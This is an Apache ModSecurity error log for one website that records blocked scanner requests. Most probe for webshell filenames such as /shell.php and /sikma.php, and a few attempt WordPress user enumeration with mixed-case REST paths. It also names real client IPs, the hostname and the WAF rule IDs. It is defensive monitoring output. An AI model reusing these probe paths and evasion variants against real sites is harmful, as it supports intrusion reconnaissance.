[Thu Dec 25 15:31:08.445346 2025] [:error] [pid 31570:tid 31605] [client 4.241.194.62:16431] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aUzoPGPy2DpAzW_4a2gPhQAAAEU"]
[Thu Dec 25 15:31:09.685880 2025] [:error] [pid 31571:tid 31637] [client 4.241.194.62:20622] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aUzoPe7e_lLK2X5wU8mCIQAAAIo"]
[Thu Dec 25 15:31:13.235653 2025] [:error] [pid 31570:tid 31607] [client 4.241.194.62:13453] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aUzoQWPy2DpAzW_4a2gPjgAAAEc"]
[Thu Dec 25 15:32:04.479251 2025] [:error] [pid 31569:tid 31585] [client 4.241.194.62:13448] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aUzodGiSFBH7Ee_uldWYHAAAAAw"]
[Thu Dec 25 15:32:06.541043 2025] [:error] [pid 2996:tid 3002] [client 4.241.194.62:11560] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aUzodqrrTp0EWNyhaIT-VAAAAQQ"]
[Thu Dec 25 15:32:08.203125 2025] [:error] [pid 2996:tid 3001] [client 4.241.194.62:2888] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aUzoeKrrTp0EWNyhaIT-VwAAAQM"]
[Thu Dec 25 15:32:09.430888 2025] [:error] [pid 31569:tid 31581] [client 4.241.194.62:2891] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aUzoeWiSFBH7Ee_uldWYJwAAAAg"]
[Thu Dec 25 15:32:10.721284 2025] [:error] [pid 31571:tid 31632] [client 4.241.194.62:16017] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aUzoeu7e_lLK2X5wU8mCbwAAAIU"]
[Thu Dec 25 15:32:12.657174 2025] [:error] [pid 31569:tid 31596] [client 4.241.194.62:2899] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aUzofGiSFBH7Ee_uldWYLAAAABc"]
[Thu Dec 25 15:32:15.201512 2025] [:error] [pid 31569:tid 31591] [client 4.241.194.62:49625] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aUzof2iSFBH7Ee_uldWYLgAAABI"]
[Thu Dec 25 15:32:16.386490 2025] [:error] [pid 31570:tid 31604] [client 4.241.194.62:2918] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shell.php"] [unique_id "aUzogGPy2DpAzW_4a2gPxQAAAEQ"]
[Thu Dec 25 15:32:17.543063 2025] [:error] [pid 31571:tid 31645] [client 4.241.194.62:11527] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aUzoge7e_lLK2X5wU8mCdgAAAJI"]
[Thu Dec 25 15:32:18.715904 2025] [:error] [pid 31570:tid 31614] [client 4.241.194.62:49617] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aUzogmPy2DpAzW_4a2gPyAAAAE4"]
[Thu Dec 25 15:32:21.573273 2025] [:error] [pid 2996:tid 3009] [client 4.241.194.62:2583] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aUzoharrTp0EWNyhaIT-ZgAAAQs"]
[Thu Dec 25 15:32:24.141823 2025] [:error] [pid 31571:tid 31648] [client 4.241.194.62:49649] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/13.php"] [unique_id "aUzoiO7e_lLK2X5wU8mCewAAAJU"]
[Thu Dec 25 15:32:27.532231 2025] [:error] [pid 31570:tid 31618] [client 4.241.194.62:49611] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aUzoi2Py2DpAzW_4a2gP1AAAAFI"]
[Thu Dec 25 15:32:28.706051 2025] [:error] [pid 2996:tid 3001] [client 4.241.194.62:15595] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aUzojKrrTp0EWNyhaIT-dgAAAQM"]
[Thu Dec 25 15:32:30.039826 2025] [:error] [pid 31570:tid 31623] [client 4.241.194.62:2751] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aUzojmPy2DpAzW_4a2gP2gAAAFc"]
[Thu Dec 25 15:32:31.903037 2025] [:error] [pid 31571:tid 31628] [client 4.241.194.62:2606] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tt.php"] [unique_id "aUzoj-7e_lLK2X5wU8mChAAAAIE"]
[Thu Dec 25 15:32:34.400980 2025] [:error] [pid 31569:tid 31576] [client 4.241.194.62:50285] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sikma.php"] [unique_id "aUzokmiSFBH7Ee_uldWYRwAAAAM"]
[Thu Dec 25 15:32:37.426679 2025] [:error] [pid 31569:tid 31578] [client 4.241.194.62:2745] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sikma.php"] [unique_id "aUzolWiSFBH7Ee_uldWYTwAAAAU"]
[Thu Dec 25 15:32:40.021700 2025] [:error] [pid 2996:tid 3010] [client 4.241.194.62:20134] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sikma.php"] [unique_id "aUzomKrrTp0EWNyhaIT-iAAAAQw"]
[Thu Dec 25 15:32:42.539599 2025] [:error] [pid 31571:tid 31640] [client 4.241.194.62:2749] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sikma.php"] [unique_id "aUzomu7e_lLK2X5wU8mChwAAAI0"]
[Thu Dec 25 15:32:45.624670 2025] [:error] [pid 31569:tid 31575] [client 4.241.194.62:50311] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "aUzonWiSFBH7Ee_uldWYVQAAAAI"]
[Thu Dec 25 15:32:47.454220 2025] [:error] [pid 2996:tid 3005] [client 4.241.194.62:50324] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "aUzon6rrTp0EWNyhaIT-kwAAAQc"]
[Thu Dec 25 15:32:53.062368 2025] [:error] [pid 31569:tid 31585] [client 4.241.194.62:11393] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "aUzopWiSFBH7Ee_uldWYYAAAAAw"]
[Thu Dec 25 15:32:54.790347 2025] [:error] [pid 31570:tid 31605] [client 4.241.194.62:2990] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/44.php"] [unique_id "aUzopmPy2DpAzW_4a2gP6wAAAEU"]
[Thu Dec 25 15:32:59.172344 2025] [:error] [pid 31570:tid 31624] [client 4.241.194.62:18263] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/database.php"] [unique_id "aUzoq2Py2DpAzW_4a2gP7wAAAFg"]
[Thu Dec 25 17:06:18.466147 2025] [:error] [pid 31655:tid 31671] [client 213.157.205.208:38826] [client 213.157.205.208] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/usErs"] [unique_id "aUz-ipozPMk9HPtIJPN80QAAAM4"]
[Thu Dec 25 17:07:25.430189 2025] [:error] [pid 31571:tid 31645] [client 69.163.162.219:60058] [client 69.163.162.219] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/Wp-JsOn/Wp/V2/UsErS"] [unique_id "aUz-ze7e_lLK2X5wU8mZxQAAAJI"]
[Thu Dec 25 17:07:43.600467 2025] [:error] [pid 31571:tid 31647] [client 178.18.250.198:47904] [client 178.18.250.198] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/Wp-JsOn/Wp/V2/UsErS"] [unique_id "aUz-3-7e_lLK2X5wU8mZ1QAAAJQ"]
[Thu Dec 25 19:10:25.009522 2025] [:error] [pid 2996:tid 3005] [client 4.241.194.62:61962] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/udnkq.php"] [unique_id "aU0boarrTp0EWNyhaIRXjgAAAQc"]
[Thu Dec 25 19:10:25.338041 2025] [:error] [pid 31571:tid 31637] [client 4.241.194.62:31275] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/udnkq.php"] [unique_id "aU0boe7e_lLK2X5wU8m8xAAAAIo"]
[Thu Dec 25 19:10:25.725126 2025] [:error] [pid 2996:tid 3003] [client 4.241.194.62:63344] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/udnkq.php"] [unique_id "aU0boarrTp0EWNyhaIRXkgAAAQU"]
[Thu Dec 25 19:10:26.097716 2025] [:error] [pid 2996:tid 3012] [client 4.241.194.62:31272] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/udnkq.php"] [unique_id "aU0boqrrTp0EWNyhaIRXlwAAAQ4"]
[Thu Dec 25 19:10:26.562207 2025] [:error] [pid 31570:tid 31610] [client 4.241.194.62:12417] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "aU0bomPy2DpAzW_4a2hFcAAAAEo"]
[Thu Dec 25 19:10:26.827030 2025] [:error] [pid 31655:tid 31666] [client 4.241.194.62:31287] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "aU0bopozPMk9HPtIJPOewgAAAMk"]
[Thu Dec 25 19:10:27.135877 2025] [:error] [pid 31571:tid 31644] [client 4.241.194.62:39335] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "aU0bo-7e_lLK2X5wU8m8yQAAAJE"]
[Thu Dec 25 19:10:27.701390 2025] [:error] [pid 31655:tid 31676] [client 4.241.194.62:12551] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "aU0bo5ozPMk9HPtIJPOexgAAANM"]
[Thu Dec 25 19:10:28.175722 2025] [:error] [pid 31570:tid 31609] [client 4.241.194.62:63351] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z4qmm5.php"] [unique_id "aU0bpGPy2DpAzW_4a2hFdAAAAEk"]
[Thu Dec 25 19:10:28.579889 2025] [:error] [pid 31569:tid 31574] [client 4.241.194.62:31293] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z4qmm5.php"] [unique_id "aU0bpGiSFBH7Ee_uldXcngAAAAE"]
[Thu Dec 25 19:10:28.864494 2025] [:error] [pid 31569:tid 31576] [client 4.241.194.62:12418] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z4qmm5.php"] [unique_id "aU0bpGiSFBH7Ee_uldXcoAAAAAM"]
[Thu Dec 25 19:10:29.163413 2025] [:error] [pid 31570:tid 31619] [client 4.241.194.62:31281] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z4qmm5.php"] [unique_id "aU0bpWPy2DpAzW_4a2hFeAAAAFM"]
[Thu Dec 25 19:10:29.577217 2025] [:error] [pid 31569:tid 31595] [client 4.241.194.62:53833] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no3.php"] [unique_id "aU0bpWiSFBH7Ee_uldXcogAAABY"]
[Thu Dec 25 19:10:30.010311 2025] [:error] [pid 2996:tid 3005] [client 4.241.194.62:39351] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no3.php"] [unique_id "aU0bpqrrTp0EWNyhaIRXpAAAAQc"]
[Thu Dec 25 19:10:30.486489 2025] [:error] [pid 2996:tid 3007] [client 4.241.194.62:12434] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no3.php"] [unique_id "aU0bpqrrTp0EWNyhaIRXpgAAAQk"]
[Thu Dec 25 19:10:30.765740 2025] [:error] [pid 31571:tid 31641] [client 4.241.194.62:63356] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/no3.php"] [unique_id "aU0bpu7e_lLK2X5wU8m8zQAAAI4"]
[Thu Dec 25 19:10:31.129125 2025] [:error] [pid 31569:tid 31586] [client 4.241.194.62:31268] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/om.php"] [unique_id "aU0bp2iSFBH7Ee_uldXcpgAAAA0"]
[Thu Dec 25 19:10:31.410399 2025] [:error] [pid 31569:tid 31588] [client 4.241.194.62:63345] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/om.php"] [unique_id "aU0bp2iSFBH7Ee_uldXcpwAAAA8"]
[Thu Dec 25 19:10:31.734284 2025] [:error] [pid 31655:tid 31677] [client 4.241.194.62:12582] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/om.php"] [unique_id "aU0bp5ozPMk9HPtIJPOeywAAANQ"]
[Thu Dec 25 19:10:32.095706 2025] [:error] [pid 31571:tid 31645] [client 4.241.194.62:39357] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/om.php"] [unique_id "aU0bqO7e_lLK2X5wU8m80AAAAJI"]
[Thu Dec 25 19:10:32.449697 2025] [:error] [pid 31655:tid 31665] [client 4.241.194.62:36354] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/webix.php"] [unique_id "aU0bqJozPMk9HPtIJPOezwAAAMg"]
[Thu Dec 25 19:10:32.897769 2025] [:error] [pid 31655:tid 31659] [client 4.241.194.62:12553] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/webix.php"] [unique_id "aU0bqJozPMk9HPtIJPOe0AAAAMI"]
[Thu Dec 25 19:10:33.403402 2025] [:error] [pid 31570:tid 31600] [client 4.241.194.62:63358] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/webix.php"] [unique_id "aU0bqWPy2DpAzW_4a2hFegAAAEA"]
[Thu Dec 25 19:10:33.838235 2025] [:error] [pid 31570:tid 31618] [client 4.241.194.62:39304] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/webix.php"] [unique_id "aU0bqWPy2DpAzW_4a2hFfQAAAFI"]
